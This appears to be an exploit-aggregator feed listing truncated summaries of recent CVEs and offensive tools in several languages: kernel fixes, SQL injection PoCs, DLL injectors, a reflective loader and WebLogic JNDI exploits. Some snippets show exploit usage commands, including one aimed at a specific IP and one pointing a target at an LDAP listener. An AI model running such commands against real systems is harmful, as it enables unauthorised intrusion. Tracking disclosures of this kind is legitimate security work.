CVE-2026-80665 KVM: arm64: nv: Inject SEA if kvm_translate_vncr() can't resolve PFN

In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: nv: Inject SEA if kvmtranslatevncr can't resolve PFN kvmhandlevncrabort assumes that s1walkresult conveys an abort when kvmtranslatevncr returns -EFAULT. This is not always the case as it's possible to encounter 'late...

CVE-2026-80665

In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: nv: Inject SEA if kvmtranslatevncr can't resolve PFN kvmhandlevncrabort assumes that s1walkresult conveys an abort when kvmtranslatevncr returns -EFAULT. This is not always the case as it's possible to encounter 'late...

EUVD-2026-67492

In the Linux kernel, the following vulnerability has been resolved: ieee802154: Avoid calling WARNON on -ENOMEM in cfg802154switchnetns It's pointless to call WARNON in case of an allocation failure in devchangenetnamespace and devicerename, since it only leads to useless splats caused by...

CVE-2026-80616 ieee802154: Avoid calling WARN_ON() on -ENOMEM in cfg802154_switch_netns()

In the Linux kernel, the following vulnerability has been resolved: ieee802154: Avoid calling WARNON on -ENOMEM in cfg802154switchnetns It's pointless to call WARNON in case of an allocation failure in devchangenetnamespace and devicerename, since it only leads to useless splats caused by...

CVE-2026-80606 drm/xe/userptr: Hold notifier_lock for write on inject test path

In the Linux kernel, the following vulnerability has been resolved: drm/xe/userptr: Hold notifierlock for write on inject test path When CONFIGDRMXEUSERPTRINVALINJECT=y, xeptsvmuserptrprecommit runs vmacheckuserptr with the svm notifierlock taken for read. The test injection causes vmacheckuserpt...

CVE-2024-4577

CVE-2024-4577 Vulnerabilidade de injeção de argumentos no PHP INSTALAÇÃO git clone https://github.com/didarul342/CVE-2024-4577.git cd CVE-2024-4577 pip3 install -r requirements.txt USO root@kitploit: Scan A Target python3 CVE-2024-4577.py -t https://160.153.61.66/ -c "" Scan a list of Targets...

Christmas

Maldev Academy Maldev Academy Home Maldev Academy Syllabus Christmas Implementazione di un metodo di injection menzionato da @Hexacorn. Questa PoC crea più processi, ognuno dei quali esegue un compito specifico come parte dell'operazione di injection. Ogni processo figlio genera un altro processo...

SimpleCTF-UpdatedExploit

CMS Made Simple = 2.2.10 Exploit di SQL Injection Panoramica Questo script Python sfrutta una vulnerabilità di SQL injection non autenticata in CMS Made Simple = 2.2.10 CVE-2019-9053. L'exploit estrae informazioni sensibili come salt, nome utente, email e password dell'amministratore dal database...

AtlasLdr

Atlas è un loader riflessivo x64 che ha le seguenti funzionalità: Funzionalità Recupero di DLL e PE da un server remoto Mapping manuale su un processo remoto Cancellazione del DOS Header e dei byte magic dell'NT Header Codice indipendente dalla posizione Uso di syscall indirette ZwOpenProcess...

CVE-2026-41940-Exploit-PoC

🛡️ CVE-2026-41940-Exploit-PoC - Testen Sie die Sicherheit Ihres cPanel-Servers einfach Diese Software stellt ein Proof-of-Concept-Tool bereit, um Systeme auf die Schwachstelle CVE-2026-41940 zu prüfen. Diese Schwachstelle betrifft cPanel- und WHM-Installationen. Sie ermöglicht die Umgehung von...

CVE-2026-5097 wpForo Forum <= 2.4.17 - Unauthenticated SQL Injection via 'referer' Parameter

The wpForo Forum plugin for WordPress is vulnerable to SQL Injection via the 'referer' parameter in all versions up to, and including, 2.4.17. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible f...

EUVD-2026-67466

The wpForo Forum plugin for WordPress is vulnerable to SQL Injection via the 'referer' parameter in all versions up to, and including, 2.4.17. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible f...

CVE-2026-5097

The wpForo Forum plugin for WordPress is affected by an unauthenticated SQL Injection via the 'referer' parameter in all versions up to and including 2.4.17 . The root cause is insufficient escaping on the user-supplied parameter combined with a lack of sufficient preparation on the existing SQL ...

CVE-2022-28346

CVE-2022-28346 Django QuerySet.annotate, aggregate, extra SQL injection Inizializzazione dell'ambiente root@kitploit: 1.python manage.py makemigrations 2.python manage.py migrate 3.访问http://x.x.x.x:8000/ 插入初始化数据 Riproduzione della vulnerabilità root@kitploit: 访问http://x.x.x.x:8000/demo POC:...

blueXploit

blueXploit Video di blueXploit blueXploit è la mia proof-of-concept personale che riproduce CVE-2023-45866 , la vulnerabilità di iniezione dei tasti Bluetooth scoperta da Marc Newlin. Abusa di un difetto nel protocollo Bluetooth per iniettare sequenze di tasti in un dispositivo target senza pairi...

Kernel_VADInjector

Driver DLL Injector Driver DLL Injector Descrizione Driver DLL Injector è un potente strumento che consente agli utenti di caricare i driver di loro scelta utilizzando il mapper preferito. Sfruttando le capacità di un caricatore di driver non firmato, come KDmapper, questo injector è stato creato...

RemoteDLLInjector

Introduzione Questo è uno strumento che può essere utilizzato per l'iniezione di DLL: Dal momento in cui RemoteDLLInjector viene eseguito, fornirà tutti i passaggi che svolge per ottenere l'iniezione di DLL. Se la DLL viene iniettata con successo, restituirà una sessione meterpreter con i privile...

CVE-2020-14645

CVE-2020-14645 Utilizzo Innanzitutto, utilizza NDI-Injection-Exploit per metterti in ascolto e genera un indirizzo ldap. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget e -RMI sono obbligatori, per https è possibile utilizzare il parametro...

Weblogic-CVE-2023-21839

Weblogic-CVE-2023-21839 CVE-2023-21839 — uno strumento basato sul PoC pubblico disponibile in rete. Versioni interessate 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 Utilizzo java -jar IPobiettivo:porta indirizzoldap Strumento consigliato: https://github.com/WhiteHSBG/JNDIExploit Disclaimer Questo strumento ...

CVE-2025-53547-POC

CVE-2025-53547 POC Dies ist ein PoC für CVE-2025-53547 Chart.lock verknüpft die Testdatei mit /tmp/1.txt /tmp/1.txt injiziert einen Befehl, der /tmp/2.txt erstellt. In einer realen Produktumgebung können Sie die Chart.lock-Link-Datei ändern, um jeden gewünschten Befehl zu injizieren, wie zum...